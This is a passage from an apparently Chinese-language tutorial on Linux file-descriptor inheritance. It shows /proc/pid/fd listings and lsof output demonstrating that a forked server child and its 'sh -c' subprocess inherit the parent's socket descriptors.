}
}
break;
} else {
printf("创建子进程失败\n");
exit(1);
}
}
return 0;
}

1、编译上述代码,生成server程序,运行该程序,它将监听本地的7777端口。

2、构造客户端连接服务端,然后查看server主进程、server子进程、以及system的”sh -c”这三个进程的/proc/pid/fd目录下文件描述符个数。可以看到,父子进程的文件描述符都是相同的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ ls -al /proc/891251/fd								# server主进程
total 0
dr-x------ 2 bling bling 0 12月 13 22:30 .
dr-xr-xr-x 9 bling bling 0 12月 13 22:29 ..
lrwx------ 1 bling bling 64 12月 13 22:30 0 -> /dev/pts/3
lrwx------ 1 bling bling 64 12月 13 22:30 1 -> /dev/pts/3
lrwx------ 1 bling bling 64 12月 13 22:30 2 -> /dev/pts/3
lrwx------ 1 bling bling 64 12月 13 22:30 3 -> 'socket:[328782]'
lrwx------ 1 bling bling 64 12月 13 22:30 4 -> 'socket:[328783]'
$ ls -al /proc/891271/fd # server子进程
total 0
dr-x------ 2 bling bling 0 12月 13 22:30 .
dr-xr-xr-x 9 bling bling 0 12月 13 22:30 ..
lrwx------ 1 bling bling 64 12月 13 22:30 0 -> /dev/pts/3
lrwx------ 1 bling bling 64 12月 13 22:30 1 -> /dev/pts/3
lrwx------ 1 bling bling 64 12月 13 22:30 2 -> /dev/pts/3
lrwx------ 1 bling bling 64 12月 13 22:30 3 -> 'socket:[328782]'
lrwx------ 1 bling bling 64 12月 13 22:30 4 -> 'socket:[328783]'
$ ls -al /proc/891272/fd # "sh -c"进程
total 0
dr-x------ 2 bling bling 0 12月 13 22:32 .
dr-xr-xr-x 9 bling bling 0 12月 13 22:30 ..
lrwx------ 1 bling bling 64 12月 13 22:32 0 -> /dev/pts/3
lrwx------ 1 bling bling 64 12月 13 22:32 1 -> /dev/pts/3
lrwx------ 1 bling bling 64 12月 13 22:32 2 -> /dev/pts/3
lrwx------ 1 bling bling 64 12月 13 22:32 3 -> 'socket:[328782]'
lrwx------ 1 bling bling 64 12月 13 22:32 4 -> 'socket:[328783]'

3、如果再有一个客户端来连接服务端,那么在server主进程的fd目录下又会新增一个描述符。使用lsof可以查看进程socket详细情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ls -al /proc/891251/fd
total 0
dr-x------ 2 bling bling 0 12月 13 22:30 .
dr-xr-xr-x 9 bling bling 0 12月 13 22:29 ..
lrwx------ 1 bling bling 64 12月 13 22:30 0 -> /dev/pts/3
lrwx------ 1 bling bling 64 12月 13 22:30 1 -> /dev/pts/3
lrwx------ 1 bling bling 64 12月 13 22:30 2 -> /dev/pts/3
lrwx------ 1 bling bling 64 12月 13 22:30 3 -> 'socket:[328782]'
lrwx------ 1 bling bling 64 12月 13 22:30 4 -> 'socket:[328783]'
lrwx------ 1 bling bling 64 12月 13 22:32 5 -> 'socket:[328923]'

$ lsof -i -a -p 891251
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
server 891251 bling 3u IPv4 328782 0t0 TCP *:7777 (LISTEN)
server 891251 bling 4u IPv4 328783 0t0 TCP localhost:7777->localhost:45958 (ESTABLISHED)
server 891251 bling 5u IPv4 328923 0t0 TCP localhost:7777->localhost:55854 (ESTABLISHED)

下图展示了一个客户端连接和两个客户端连接的情况

image-20221214144257042